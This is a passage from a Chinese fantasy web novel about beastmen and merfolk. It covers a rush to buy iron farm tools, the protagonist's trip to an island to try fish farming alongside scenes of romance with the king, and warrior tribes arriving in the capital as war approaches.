白争争点头:“是是是,嫂子厉害。我们部落也在用来,很好用。” 后山只有林猫兽人们那块地。 冬季时,大家将地里的草根树根都挖掉了,现在只需要犁过一遍地,就可以种植了。 林猫兽人们兽形小,不能像虎兽人那样推着走。他们只能请了个牛兽人来帮忙,管饭,还给银币。 不过一两日,后山的地就清理了出来。 白争争跟哥哥嫂子从山上下来,赶紧让他们去坐着歇歇。 他嫂子有崽崽了。 他哥现在宝贝得不行,好在菱手头的事儿已经做得差不多,现在也空闲下来。 * 山下。 人鱼族的店里,灿最近忙得很。 开春了,很多兽人过来买种子。 有留种的大部落不用买。小部落都不够吃,更别说留种。但他们没多少银币,一次也只买一点。 灿忙着收银币,装种子。 “让一让,让一让。”店门外,人鱼族的兽人们将新一批的种子扛进铺子里。 兽人们避开一条路,等他们走过,又如水流一般迅速挤过来。 送种子的兽人看过屋里一圈,种子都没地方放了。 “灿,那农具卖不出去,怎么还不收了?” 灿清点着手中的银币,头也不抬道:“你有空就带走呗。” 他看着人鱼腰间别着的匕首道:“这农具也没用,干脆拿去熔了,多给我们做点武器。” “那我收走了啊。” “收吧收吧。” 灿这边将种子给兽人递过去,忽然见街道上浩浩荡荡跑过来一群兽人,看着是冲着他这边来的。 灿“啊”了一声,赶紧拉住要走的人鱼道:“乐,你先别走,帮我卖一卖种子!” 乐看着那么多兽人也怕,抱起农具就道:“我先把这个放了来!” “不行!你走了就不来了!” 说话间,兽人们已经跑到了店门口。路被堵住,乐想走也走不了。 “挤什么!先来后到!”前头被踩了一脚的兔兽人气道。 灿:“就是,别挤!都有都有!” 他忙得不可开交,前头的兽人好不容易拿了种子,出都出不去。 “你们倒是让一让啊!” 后头的兽人看着不行,吆喝一嗓子道:“农具呢,农具还有没有!给我来一套!” 灿捕捉到这一声,问:“你说你要什么?” “农具!不会卖完了吧!” “我们也要一套!” “我只要锄头!要五把!” “犁头,我要犁头!就是那个最大的!” 买种子的兽人们不明所以。这说的是个什么东西?怎么比种子还受欢迎。 灿也愣了下,旁边乐推他一把道:“赶紧的,要农具!” 灿立马扬起笑,脆声道:“有!多的是!” “单买一套一千银币,分开买锄头、耙子这些两百银币,镰刀一百银币,犁头四百银币!” “我要!” “给我一套!” 小心翼翼护着种子的兔兽人好不容易和同伴一起挤出了人群,又听他们说的什么锄头镰刀的,有些丈二和尚摸不着头脑。 他随手拉了个兽人问:“你们说的什么?” “没什么,没什么。”兽人哪里顾得上他们,还使劲儿往里面挤。 兔兽人看向同伴:“要不咱们也买点儿?” 同伴道:“可是我们银币不多。” “能有种子贵?”这么一小袋就是三百银币,兔兽人压低声音道,“而且这么受欢迎,咱们先买点放着,还能更多银币卖出去。” “买!” 两个兔兽人将种子放好,又跟着兽人挤。 灿看着积压了几个月的农具总算有卖得动的迹象,笑得合不拢嘴来。 “不急,多的是!” 不一会儿又道:“哎呀!乐你快去叫兽人从仓库里抬一些来,不够卖了。” 银币哗啦啦响,落在柜台底下的大箱子里。 灿数得手抽筋,脸上的笑容比阳光还夺目。 更远处的兽人们见到此情此景,都有些纳闷。 “买种子也不用这么挤吧?” 每年人鱼族的种子都是够的,就算这会儿没有,过段时间也能买到。 “没准儿又出了什么新奇的东西,看看去?” 兽人都喜欢凑热闹,不一会儿,整条街上的兽人都涌过去了。 买不买不一定,必须看一看。 林猫兽人的铺子里,希看到兽人们抬着农具出来,看了一眼道:“我们那些够不够,要不要再去买点儿?” 三个苗苗的阿爸修道:“族长也没说,要不……买点儿?” 他们现在没买房子,之前买地的银币掏空了积蓄后。 冬季又攒了一些,买几把农具还是够的。 希直接从装银币的柜子里掏了一小袋出来,递给兽人道:“去吧。” 又过了会儿,抬着犁头的兽人从店门口路过,希看是店里的熟客,将他们叫住,问道:“越,你们昨天不是说今天要上山干活,怎么下山来了?” 叫越的云猫兽人停下,道:“你不知道,今天我们看到六大部落的兽人在翻地,用的那个东西哟!”他拍了拍身前的犁头,“就是这个,只轻轻一拉,那地就翻开了。” “对对对!还有镰刀,比石镰好用多了!一割草就断了,还省力!” “希,不跟你说了,我们还要上山呢。” 希点头,笑着目送兽人离开。 原来是这样。 冬季的时候还听争争说这些东西卖不出去呢,转眼就有这么多兽人抢着要。 也不知道人鱼族准备得多不多。 就这半个上午,兽人们抢购农具的时候,后山上六大部落的地大都已经犁完一半了。 才把农具运上山的其他部落的兽人们一瞧,顿时着急了,忙不迭下地试用,生怕比他们晚了一步。 短短半个上午,一百套农具销售一空。 消息落后的兽人们再赶着去,却发现早没了。 他们趴在门口,焦急问着灿道:“我们不要犁头,锄头什么时候能再做一批?” 灿遗憾道:“现在怕是不行,族里没空,还要等……” “等不及啊!播种的时间就只有那么半个月。” 灿:“我回去问问吧。” “能不能明天就出?” 灿为难道:“这东西哪里是那么好做的,我问问,问问再跟你们说!” “那你现在去!” “对,你现在去。”兽人们苦哈哈地围在门口,心里那个后悔呀。 当初人鱼族卖农具的时候他们还来看过热闹,那冷冰冰的石头一样的东西能顶什么用! 本还想着省下一笔银币,可现在看着短短半个上午,以往要翻耕起码五六天的地,兽人们一下就翻耕完了。 现在都在泡种子,准备播种了! 他们自己的是一点变化都没有! 兽人们急啊,急得直拍大腿。 灿也着急。 他口水都说干了,可兽人们就是不相信他的。 当初那些农具分明就是菱带着兽人赶制出来的,后头王下令让打铁的兽人们制作武器,哪里还有空闲做这个。 可兽人们催了又催,连买种子的兽人都不好到前头来。 灿没办法,看秋带着巡逻队的兽人路过,抓他过来让他派个兽人在这里顶着,他立马回去找菱。 店面的事情归菱管,制作铁器也是谈看着的。灿不敢直接找烬,所以钻进城堡就去菱办公的地方。 可门是关着的。 守门的护卫道:“灿,你找菱?” “对,他不在啊?” “菱现在应该在后山,争争那里。” “那……王呢?” “王跟祭司出海了,晚上才回来吧。” 灿:“谢了。” 他赶紧掉头往后山去,跑了两步,又掉头回来抓着训食人鹰的兽人。 让他驾着食人鹰带自己上后山。 等他急急忙忙到了地儿,看他们大管家正舒舒服服靠着自己伴侣,吃着小鱼干,喝着伴侣送过来的果汁。 春日的暖阳笼罩在他身上,那舒服自在的样子,看得灿心口一酸。 还是他们大管家会享受。 “菱!” 菱斜眼扫去,看少年没等食人鹰降落就跳下来,急匆匆跑到跟前。 他懒懒抬眼,“这么着急,出事了?” 灿瘪嘴委屈:“别乱说,好消息。” 白争争给他也倒了一杯果子,笑道:“今天才在山上摘的,尝尝。” 灿端起来,咂摸一口,再咕噜咕噜灌了一大半。 菱转回头,像一条懒蛇一样,缠在他伴侣身上。 “菱!你不知道,农具卖疯了!现在大家都不够买,守在店门口叫咱们再做一些。” 菱给他个后脑勺,慢悠悠道:“你没跟他们说,卖完了就没有了。” “说了!可是他们还让我们做啊!我上山找你都是他们催着来的。” 菱:“现在没空。” 那些工匠们现在都在赶制武器。是新一批的,都是经过人鱼训练后改良过的,兽人们急用。 “可他们催。” “催能有什么办法。” 白争争道:“全部卖光了?” 灿狠狠点头,委屈看着白争争,试图让他帮忙说说话。 白争争张了张嘴,看到自家哥那眼神儿,赶紧闭上。 “那什么,你们商量商量,我去翻鸭蛋。” 他说完就溜,只余下灿无助地看着菱跟鹤夫夫俩。 鹤轻轻顺了顺自家伴侣的头发,低声道:“他快哭了。” 菱:“问烬去,这事儿我做不了主。” 武器事关重大,烬今年隐隐有剿灭南部人鱼的想法了。 灿肩膀一塌,怂怂道:“可是他跟祭司出海了。” “那就等他回来再说。” “哦……”灿抹了把眼睛,真想哭。 这没问出结果,回去那些兽人不得抓着他不放。 第69章 第 69 章 养鱼 菱:“还愣着干什么, 回去看店啊。” 灿:“可是……” “应付不过来?”菱起身,鹤轻轻托着伴侣的腰后,将他往身前带了带。 菱舒舒服服靠坐着,看着哭唧唧没出息的少年。 灿磨磨蹭蹭, 屁股像在凳子上生了根。他道:“我让兽人看着呢, 不回去行吗?” 菱:“不行。逃 避没用, 自己想办法。” 灿祈求地盯着菱, 菱将头一转, 心烦。 灿扯着嗓子就嗷嗷嚎道:“我还没成年了, 你不能让我独自面对危险!” 菱嫌弃:“滚。” 灿委屈一收, 顿时跟有疯狗追似的, 呲溜一下就爬上食人鹰的背。不过依旧可怜兮兮地看着菱。 菱无奈道:“问秋,他多半知道能不能继续做。” “诶!”灿一笑,当即催促驾驭食人鹰的兽人走。 * 海中,岛上。 阳光将海水映得如宝石一般闪亮,粼粼波光荡开, 忽的一阵, 被水中激斗的兽人搅乱。 海水飞溅, 兽人用最原始的方式战斗着。利爪、犬牙,或拍一下就能折断兽人脊骨的巨尾浮出海面。 近岸的沙滩上,鳞片与兽人毛发四处散落,兽人两两一组,从海中缠斗至岸上。 而另一边的平地,人鱼族、虎族、狼族、鹰族、狼族等兽人手持铁制长矛长枪,亦或者大刀斧锤,列队以相互较量。 兵器交错,滋啦冒出火星。 兽人胳膊上的肌肉鼓起, 汗水如瀑。 再远处,数百来只食人鹰带着一批又一批的兽人战士在空中训练。 烬与命祭司一同,立在训练场上,将岛上兽人们的情况尽收眼底。 命眼前一闪,被武器上的锋芒刺到。 他收回目光道:“杀虫的药剂我已经准备得差不多,城堡里留守的兽人知道怎么制作。我也该去前线帮兽人们了。” “这些战士还要再训练训练,南部的事情急不来,王还是谨慎一些。” 烬颔首,“我知道。” “王有分寸就好。”命说完了正事,又想到烬的私事。他面上多了几分笑,道:“现在菱的崽子都快出生了,也不知道下次回来,我能不能看到王的崽子。” 烬:“一切听争争的,他还小,不着急。” 命祭司:“按理说,也该有了。” 烬似不解,侧头看他。 命呵呵笑了笑,两手放在身前道:“不瞒王,我先前占卜过一次。” 烬面色不变,只起身道:“我回去一趟。” 命祭司:“这么着急干什么,我又没说一定有。” 转个眼,就没了烬的身影。 * 烬赶回去时已经是晚上,白争争刚守着一批小鸭子孵化出来,现在才清理完火炕。 天热了,又是春日,第一批小鸭子都已经长成。 那些成年野鸭开始大量生蛋,筑巢,已经自己孵化鸭蛋。 这炕屋暂且用不上了。 但一旦那些野鸭孵化出来,一窝算十只,鸭圈里那七八十只母鸭也能孵化出七八百只小鸭子。 冬日过去,四个月中出来的小鸭子就有四百多只,算上秋日的两百多只,就有六百。成年野鸭一百,共是七百。 只这些,现有的屋子勉强能让它们住得开。 可六七百只小鸭子一出来,那就挤了。 菱给白争争安排了兽人,让他建房子。 兽人们已经很熟练了,白争争说了要求之后,便开始动工。加上有愈发成熟的铁器,兽人们的速度很快。 短短一天,地基就打好了。 等到以后房子拔地而起,数十座整整齐齐排列,就有养殖场的模样了。 不过这应该是最后一批房子建造。 若再发展,白争争得考虑分厂的事情。这里靠近王城,又是山前,养多了影响环境,味道也大。 先前选这里是离王国近,来往方便,地块儿合适。 既然养殖野鸭的技术稍稍成熟,适当地再选个更大的养殖地,也更好施展些。 现在后山的野鸭不用他看着了。 鹿花那些食草兽人被请过来看管野鸭,从孵蛋到喂养,得心应手。 白争争这边忙完,就洗了个澡回到城堡里。 刚在床上坐下,白争争将兽皮马甲脱掉。门忽然被推开,他一惊,瞪圆了眼睛拉着兽皮毯就往身上盖。 在发现是烬之后,他呼出一口气,道:“吓我一跳,还以为是谁呢。” 却没听到烬说话,只看到他大步靠近来,轻轻拉下他覆在身上的兽皮毯子,温热的掌心覆盖在肚子上。 白争争低头,又看看烬。 他才吃饱饭,胃部有一点点鼓鼓的。但烬摸的是小腹那块儿。 不是他说,他虽然看着有点瘦,但其实还是有肌肉的。 就是肚子上软软的,他自己都喜欢摸两下。 但看烬捏起他肚皮上的肉…… 白争争面无表情。 他瞬间推开烬的爪子,搂着兽皮将自己裹住,凶巴巴道:“你嫌弃我!” 烬抬头:“怎么?” 两人离得近,就差鼻尖贴着了。 白争争更大声:“你捏我肚子上的肉,嫌我胖,嫌我吃得多,你嫌弃我!” 烬看着他,忽然一笑。 笑声从胸腔里传出,低低的,震得白争争耳朵发麻。 他被烬连带兽皮毯子捞过去,坐在他腿上。烬掌心又盖在他的肚子上,搂着人身心愉悦。 “不嫌弃,多吃点才好。” “那你一回来不说话,就捏我肚子干什么?” “没什么,看你有没有好好吃饭。” “我当然有好好吃饭了。”白争争光溜溜的,抱着他翻个身,面对面坐着。 “现在野鸭那边用不着我看着,六大部落的野鸭也养得越来越好。算起来规模已经超过一千只,之后想吃肉就快了。” “嗯。”烬靠在床头,搂着伴侣。 白争争轻轻勾住他的一缕发握在手中,不怎么有底气道:“网箱也做好了,我打算过几天就出海,看看那大扁鱼怎么养。” “出海?” 白争争脑袋埋在烬胸口,有些紧张地点点头。 烬:“你之前没跟我说。” 白争争:“那不是你忙着,我也忙着,忘了。” 烬:“外面危险。” 白争争:“可是大扁鱼带不回来,我只有去海里试试了。” 烬捏着白争争腰上的软肉,没说行,也没说不行。他思索着,将白争争抱得越来越紧。 “你不同意啊?”白争争小声问。 烬:“我只是担心你的安危。” 白争争勾着他的手道:“你放心,我会小心的。而且又不是我一个人去,还有龟鸣,还有、还有你给我安排点儿兽人呗?” 他需要干活儿的兽人,最好是能在的海里游的。 嗯,人鱼最好。 烬捏住他耳垂,细嫩的肉在手中揉捻。 白争争看他一直不答应,扒拉他的胸口,脸在他脖子上乱拱乱蹭,赖赖唧唧道:“我之前都说了养大扁鱼你是知道的,就是去海上养嘛!” “龟鸣说海上只是靠近环洲外围,又没有靠近南部的人鱼岛。我带着大黑他们,没多少危险的。” “你同意嘛~” 烬:“不想同意。” 白争争一顿,猛地坐直了,张牙舞爪的地捏住烬的脸,跟个小恶霸似的威胁道:“你同不同意!” 尽长睫颤了颤,目光落在伴侣脸上。 白争争:“这个家我说了算还是你说了算,听我的还是听你的?!” 烬勾住他的手腕,在内侧亲了一下。 白争争心肝一颤,呜咽一声倒下去。 “你犯规!” 烬:“我答应。” “真的!”白争争兴奋抬头,好在烬及时避开,不然两个都得遭殃。 烬叹声,勾着他的腰抱回来,将兽皮严严实实盖好。 “真的,但是去哪儿你要听我的。” “有大扁鱼?” “肯定有。” “好吧,我听你的。”白争争笑着窝在烬怀里,又变得乖乖的。他黏黏糊糊地悄悄啃了下烬的脖子,悄摸摸道:“睡觉吗?” 烬:“睡。” 他捧着伴侣的后脑勺,深深地吻住那两瓣唇。 白争争眯眼,小狗一样伸出舌头。毛绒绒的尾巴跑了出来,被烬手指勾住轻轻摩挲。 他身子一软,哼哼唧唧地闭眼享受着,两条长腿将烬缠住,然后……美美地睡了一觉。 * 早上醒来,烬还在身边。 白争争翻个身,脑袋枕在他胳膊上,骨头都像散了架。 烬摸摸他的脸,看着白争争迷迷瞪瞪睁眼又闭上,赖了一会儿床,才抱着他起来。 吃过早饭,烬下意识摸了摸白争争的肚子。 白争争见自己衣服底下,鼓包从胃部滑落到腹部,迷茫地看着烬。 他很认真道:“我吃饱了。” 两种意义上的吃饱了。 烬:“嗯。” 他担心祭司说的话,更担心白争争的身体。 但兽人们医术一般,只有等肚子鼓起才知道有没有崽子。所以他只能多多注意着。 白争争不知道他想什么,急切地扒拉住烬的胳膊道:“那我们什么时候去?” 烬道:“等我安排好,再过五六天。” 白争争点头,看他还贴在肚皮上的手,微微往前走了两步,爪子在烬腹肌上抓了两把。 然后在烬愣住时,笑嘻嘻地跑了。 烬轻轻一笑,心道:应该还没有,祭司占卜出错了。 要暂时离开王城养鱼的事儿还要跟族人以及阿爸他们说一说,白争争出了城堡之后就去找人。 族里也知道他现在在帮人鱼做事,只问了问,知道烬帮他安排,才放了心让他去。 后几天,白争争去后山帮着自家部落种了几天的地,等到了时间,就跟烬一起离开。 同行的有龟鸣以及其他几个龟族,他们负责背着网箱跟兽人。 除开他们,清、年、风、桐也都跟着。 雁、芽、肉三个幼崽也来了。 白争争本来是不想让他们来的,但烬说没事,他便松了口。 还有大黑二黑三黑,三个食人鹰。 只有州留在后山做饭,羽帮着他,四黑五黑就留给他们跟部落,平时上山下山也好代步。 他们选了个晴朗日子,从王国出发。往西行,一直走了四五天,才远远看到一座岛。 正是春季,岛上树木葱茏。 若在上空看,就像一个巨大的绿毛龟。 龟鸣驮着兽人们,看了眼道:“我们还没来过这边。” 清道:“不知道岛上有什么,兴许还要清理一下。” 白争争道:“烬选的位置,不会错。” 兽人们本以为这里是一座荒岛,但随着离岛越近,海里悄无声息冒出些脑袋来,吓得龟鸣四肢都僵了。 “那、那那……那是什么!” 烬也与他们一起的,扫了眼道:“自己人。” 白争争诧异,他微微偏身,肩膀抵着烬道:“这里不是荒岛啊?” 烬:“是荒岛就更不敢让你来。” 白争争盯着那些已经围拢过来的人鱼,觉得有些道理。 龟鸣继续往前,人鱼分开,也慢慢往岸上游去。 白争争在里面看到了几个熟悉的面孔,洋跟寻都在里面。 不仅如此,上了岸之后,还有不少的六大部落的兽人。 白争争被烬牵着往树林里走。 林地里早被收拾过了,里面是新建的房屋。 且兽人不少,各个配备武器,还有的直接在空地上训练。 乍一看,这有点像兽人们在岛上驻扎的基地。 这可比白争争直接问烬要几个兽人在队伍里安全多了。 一路上,兽人们见到烬停下来。 烬只颔首,让兽人们继续训练。 穿过树林,又走了一会儿,他们到了建筑群后方的屋子里。 烬让龟兽人先去把东西放在侧边的屋子,自己则带着剩下的兽人进了最大的房间。 烬道:“这座岛上附近大扁鱼不少,兽人在前面训练,没有事不会来后头。你们养鱼的话,直接去岛后。” 兽人们点头表示明白,烬让洋跟寻过来给兽人安排住处。屋里就只剩下他跟白争争。 烬圈住白争争的手腕,将他往怀里一带。 “争争,王国里还有事,我不能一直跟你们在这里。”他搂着白争争道。 “我知道。”白争争侧头靠着他,勾着烬的手指玩儿,“那前面的兽人是本来就在这里训练的,还是你把他们迁过来的啊?” 烬道:“迁过来一些,本来也有。” 既是守着领土,也当看着兽人们,同时也不耽搁训练。 这是烬能想到的自己不在白争争身边,最让他放心的方式。 但即便是这样,他还是扣住白争争的手叮嘱:“岛上兽人们已经清理过一遍,但不能完全保证就是安全的,你要小心。” “我依旧让洋还有寻跟着你,有事就告诉他们。” 白争争知道烬肯定是要回去的,心里立马多了些不舍。 他反身抱住烬,闷闷道:“我都知道,会小心的。” 烬鼻尖擦过他细软的黑发。 “嗯,等我有空,我会过来的。” “好。” 他们过来赶了几天的路,龟背上也睡得不怎么好。落地后将就着吃了点饭,兽人们就各自进屋睡觉。 睡醒后就在附近走走,认认路,第二天一早起来,才正式开始干活儿。 白争争让大黑带着在上空飞了一圈,海岛尽收眼底。 烬道:“这座岛前面沙滩平缓,后头是峭壁悬崖,鱼就集中在后头的深海。” “这岛上有王国送过来的食物,负责做饭的兽人也会下海捕捉些海鱼。他们对大扁鱼的情况很熟悉,不知道的可以问他们。” 高空望向海岛,两岸的海水分明。一边是清澈的浅蓝色,一边是深邃发黑的深蓝。 白争争紧紧握住烬的手,“我知道了。” 烬看着白争争,忽然在他脸上亲了一下。 白争争愣愣转头看他。 烬声音沉了些,暗红的眼中严肃不已。 “最重要的是注意安全。” 白争争弯了眼睛,张开双臂抱过去,心里咕噜咕噜冒泡泡。 “我明白,我一定小心。” 烬陪他看完了海岛就离开了,还带走了除了龟鸣以外的其他龟兽人。 白争争也不耽搁时间,先去给兽人们做饭的地方,找厨子们问问大扁鱼跟这座岛的情况。 他们从门前的一条路过去,没经过兽人们训练的地方。 沿着建筑群后头到了最右侧,就是做饭的地儿了。 洋跟寻像两个保镖,随时跟在白争争身边。 洋道:“现在除了远海,王国附近很难再捞到大量的鱼。这附近的几座岛都有我们的兽人,海里的鱼也相对多些。” 说着话,就到了做饭的屋前。 这岛上有兽人战士五百,所以做饭也要数十个兽人才能完成。 厨房靠近岛上的淡水边,兽人们围着湖泊杀鱼、洗菜、运水……一切都有条不紊。 这会儿上午,兽人们差不多在准备中午的饭了。 洋上前想叫个兽人来问问,白争争冲他摇头,反而往前走。 他蹲下,拿了刀子就帮忙杀鱼。 后头的清、年、风还有桐也各自找事儿做,就连幼崽都蹲下去,帮兽人们洗紫皮根。 处理鱼的兽人有两个,一个叫沐,是蓝色人鱼,亚兽人。温柔干净,没有攻击性。 一个叫文,是个一身力气的熊兽人。 他露出来的膀子极粗,凶神恶煞的,尤其还握着血淋淋的鱼,很吓人。 幼崽偷偷瞥他,都不敢凑过来。 白争争忽然蹲下干活儿,把沐给吓了一跳。他笑了笑,认出了人,惊讶道:“争争,你怎么跑这儿来了?” 冬季那一阵,岛上这些兽人都回过王国。 沐当时还进城堡的厨房帮了一段时间的忙,跟白争争有过几面之缘,互相都认识。 白争争利落杀鱼,边道:“手头没事,过来找点事做。” 沐笑道:“你还没什么事,后山的野鸭呢?” 白争争道:“有兽人看着呢,但那点肉怎么够。我来是看看大扁鱼能不能养。” 正巧,手上的这条就是大扁鱼了。 白争争下刀的时候没注意,等破开了肚子,才看到那满满一肚子的鱼籽。 沐看了眼道:“这海里的鱼要怎么养?” 白争争道:“放网箱里养,大了就捞起来。” 沐虽然觉得不怎么行,但想到白争争养出来的野鸭,也说不准。 “大扁鱼不好吃,要养就养深海鱼。那滋味……好久都没吃过了。”沐说起就是一脸怀念。 也不是吃不着,就是没空,那鱼也难抓。 一个两个兽人吃还行,人鱼族想舒舒服服地吃够那就难了。 这些年王国里的人鱼减了又减,人鱼族内斗得厉害,成天打打杀杀的,都没个消停。 人鱼一族顾着外面,就顾不到里面。 祖先那会儿处处是野兽的场景,怕是这辈子都看不见了。 沐期盼道:“要不换一种?” 白争争笑了声道:“一步一步来嘛,我先用大扁鱼试试。” 他也不知道能不能成。 养鱼他没多少信心。 白争争一边帮着杀鱼,又一边问起这岛上的情况还有大扁鱼的习性。 沐作为战士们的厨子,都过手不知道多少条大扁鱼了,知道的还不少。 “这种鱼啊,海里到处都有,但越往南越多。”沐说着渐渐咬牙,“尤其是那个南部的坏人鱼那里,这大扁鱼、红鱼、黑鱼各种好吃的鱼格外的多。” 一旁的熊兽人默默点头,咂摸着嘴说了一句:“鱼籽也多。” 听说祖先们那会儿鱼多的时候,他们熊兽人可专门逮着吃鱼籽。 鱼肉什么的,看都不看一眼。 现在一对比,他都想抹泪。 这过得是什么日子! 沐道:“这个时候,大扁鱼会到浅海产卵,我们抓的时候尽量的都避免抓带籽的。” “这岛上也有,就在后头海水下的海草丛里。小鱼长大到两指宽,就会成群往更南边的游去。这种鱼最大能长到手臂长,一条够两个成年兽人吃。不过肉确实一般。” 看来他真的在意这一件事。 沐再一次争取道:“要不争争你养养别的?” 白争争无奈笑道:“我没经验,大扁鱼都不一定能行。慢慢试试,要真能行,就再说。” 白争争道:“它们在岛附近产籽?” 沐:“对,现在就有了。你去看那海草里,密密麻麻的都是。也多亏了这些鱼籽,最近岛附近来了不少其他鱼,我们也能换换口味。” 龟鸣趴在一旁晒太阳,兽人当中唯独他在休息。 他道:“争争,我们要把鱼籽捞起来吗?不然都吃完了。” 沐笑道:“那么多,哪里会吃完。” 白争争道:“捞是肯定得捞。” 白争争需要先观察,了解鱼苗孵化的适宜温度、水质情况,都是麻烦事儿。 好在做好了长久准备,一点一点来吧。 第70章 第 70 章 再试试 杀完鱼, 林猫兽人们帮着一起把午饭做了。 白争争在厨房角落里看到几口用干草垫着用木条框起来的陶缸,瞧着空着。 正愁没东西装鱼卵呢,他问:“沐,那陶缸是干什么用的?” 沐看了眼道:“哦, 是王之前让我们一起带过来的, 说有用。”说着一顿, 看着白争争, “不会就是你们要用吧。” 白争争粲然笑道:“就是。” 还是烬考虑得周到。 “那等会儿给你们搬过去。” “不用, 我们现在就搬。”年抬手示意风跟桐。 王国有专门的陶窑, 烧制技术已经成熟, 这几个大陶缸制作不难, 但运过来费了些功夫。 年跟风两个抬一个,桐一个人扛一个先运到外面去,又问白争争:“争争,外面这些木框还要吗?” 白争争道:“留着,没准以后搬地方要用。” “诶!”年应了一声, 随后走了。 * 中午在这边吃过饭, 小憩一会儿, 醒来后兽人们就往岛后走。 沿着兽人走出的小路行过十来分钟,就到了海边。 这边海水深,看不见沙滩,蹲在海边的大石头上往下看,只能见到茂密的海草。 像长丝带一般,油绿色的,随着海水摇曳。 兽人们蹲下来仔细瞧。却看那海草深处,成串的如青蛙卵一般的东西密密麻麻。 芽跟肉两个幼崽看得出神,身体都探出石头一半, 白争争一左一右拎着两个带回来。 “小心掉下去。” 芽道:“争争,好多啊。” 肉重重点头,脸上的肉发颤。 “不知道好不好吃。” 雁坐在石头边晃着腿儿,双手抱臂,小下巴抬得高高的,满脸的嫌弃。 “一天就知道吃。” 龟鸣已经下了水,硕大的一只海龟凫水靠岸,伸长脖子对着几米高的石头上问:“你们下不下来?” “下!”芽忽然往下一蹦。 吓得白争争几个手忙脚乱来抓,却看那林猫崽子轻巧落在龟壳上,打个滚儿,立在了龟鸣的头顶。 清:“芽!” 白争争本来还气,看清吓得脸都白了,赶紧拍着他的后背道:“消消气消消气,幼崽不懂事。” 清:“多大了,还不知道危险。要跳好歹也说一声!” 芽默默收敛眼中的炫耀,转过来乖巧坐着,垂着脑袋听教育。 “错了。” 雁小声嘀咕:“下次还敢。” 年敲她脑门,道:“你也悠着点儿。” 雁不服气道:“我又不像他一样是个莽子。” 芽:“谁是莽子呢!” 清一个锐光扫去,芽踩了踩爪垫,软软地冲着清:“喵呜——” 清别开头。 肉吐舌头,幸灾乐祸:“撒娇也没用,你惨咯,要挨揍!” 白争争看了一圈道:“就这边最矮,都得跳下去。” 洋:“我们下去接。” 说着扑通入海,大尾巴将身体一支,伸手来接。 年拎着剩下的两个幼崽甩过去,啪的一下,挨了清一巴掌。 背上火辣辣的,年搓着后背,委屈看着清。 不是,他又做什么了? 白争争:“走了。” 这高度三四米,成年林猫跳下去都得掂量掂量。不过有人鱼当缓冲,变做兽形的林猫两下就到了龟鸣背上。 洋缓缓往下沉,视线与龟鸣头上的三个幼崽平齐。 “鱼卵都在草上,要下去看看吗?” 雁看了看海面,又回头。 见白争争跟清盯着他们,爪子试探地往洋手上探了探。没听到他俩阻止,三个幼崽争先恐后往洋身上蹦。 边上寻往水中一沉,见那肥肥的鱼,一爪子一个,抓着了就往岸上一扔,比三个幼崽还要兴奋。 风纳闷,低声道:“不阻止?” 清:“咱们祖先都得下海捞鱼,幼崽从小接触海水,又有人鱼看着,怕什么。” 这还是林猫该学的技能呢。 说着,洋带着幼崽缓缓没入水中。 白争争:“我们也下吧。” 扑通几下,龟鸣也跟着往水中游。 只近海边的水就有三四米,那海草极深,向阳而长,浮出细密的小泡泡。 沐说得没错,水中有不少鱼。 红的、蓝色,五彩斑斓,兽人们下去时还惊动了它们。鱼往更深的水草中藏去。 白争争往下潜,掌心滑过水流,感受到了比体温稍冷的海水。 这片地方海水流动缓慢,那些附着在海草上的鱼卵像水晶葡萄,一串一串,随水流轻缓浮动。 “咕噜。”白争争吐出个泡泡。 他看到幼崽在里面狗刨似的游荡,追逐着鱼,又或是招惹石头缝隙里的鱼虾。 他们一口气憋不了多久,洋等他们跑远了又拉着小尾巴带回来,然后送上水面呼吸,再带下来。 白争争弯了弯眼,游动着,将这边的海岸看了个清清楚楚。 这片海草生得极为茂密,辽阔,像极了一个水底的草原。 沐说大扁鱼小时候孵化出来就吃这些水草。 …… 几场春雨后,天气愈发暖和。 山上的果树开花了,整个城堡都是清甜的花香。有些兽人鼻子灵,只会觉得太过浓郁了,闻着都晕。 林猫部落的铺子前,生意如旧。 不过因着他们生意好,旁的兽人看了眼馋,也渐渐在王国其他地方效仿着开起了麦饼店。 但林猫兽人们做得最早,麦饼也好吃。 加上这条街上来往的兽人不止是王城里的,日渐还多了第二环岛的兽人,更加繁华了起来。 店内,照带着两个兽人从屋里出来。 他们后山的地已经播种几天,他要去看看发芽没有。 正出了门,绕到屋后头去牵出五黑来,才爬上五黑背上,就听城门口好一阵热闹。 他们坐得高,远远见好大一群体型健硕的兽人从城门进来。 照眯眼看了看,道:“第二环岛的兽人怎么来了?” 希闻声走到门口,忽见眼前遮天蔽日,定睛一看,是一群翼族兽人。 连他家崽子的朋友都在其中。 “这是……” 照也不走了,赶紧让扑将五黑拉到后头去,自己回屋中。 那浩浩荡荡的兽人勇士队伍越来越近,最后从店门口经过。 打头的是第二环岛上的虎族,往后是犬族部落、狐族、龟族…… 围列在街道两侧的兽人们更是不解,低声交谈道:“怎么来这么多第二环岛的兽人?” “现在王开了王国的大门,他们又不是不可以进来。” “可这明显看着是要打架的意思。” “对啊!” “是不是南部那边人鱼们守不住了,就像祖先那样需要其他兽人去……” “那可怎么办!” “呜……阿爸我不想死!”街上传来幼崽哭声,听得兽人们心中一紧,显然也想到了祭司口中所说的以往打仗城中兽人十不存二的惨景。 希抓紧自己伴侣的手,低声道:“不会吧。” 照拍拍他的手背,“别乱想,不会的。” 他们是去过南部的,虽然一直封闭在矿洞里干活,但也大概知道南边是个什么情况。 要论打,他相信烬能带领人鱼打得过。 但人鱼王国如今的人鱼数量确实不多,他们既要守着王国,也要派出去战斗,难免需要些兽人勇士帮忙。 毕竟在兽人们看来,环洲就是人鱼的环洲。 人鱼是环洲的霸主,领地上的兽人也该在特殊时候听从调遣。 再有,第二环岛确实乱了很久,也被人鱼忽略了很久了。兴许他们之间谈判过,人鱼需要兽人勇士,而第二环岛的部落需要人鱼王国的资源。 不过这些都是照的猜测,两边到时候真大规模打起来,他还是更看好王国。 兽人勇士进城,大伙儿估量着有几千人。 兽人们看着城堡前有人鱼出来接应,没多久,城内街上就不见他们的身影,仿佛没有来过一样。 林猫兽人看着门口的照道:“族长,争争现在还在外面呢,要不你问问菱是什么情况?” “对啊,我们也好放心。” 照道:“好,我等会儿去问。” 第二环岛兽人闹出的动静太大,照重新牵着五黑出来,还能听到他们的议论。 大多都是在说多年前,人鱼一族守卫王国的情景。 那时候他们还没搬过来,留在城堡里的老人知道,原本人鱼王国里的本土兽人都是因为打仗死了很多,所以他们才能迁进来。 兽人们唏嘘,胆子小的藏不住面上的惊恐。 还有些更是匆匆忙忙拨开兽人,也不知道是不是准备回去收拾东西准备搬家。 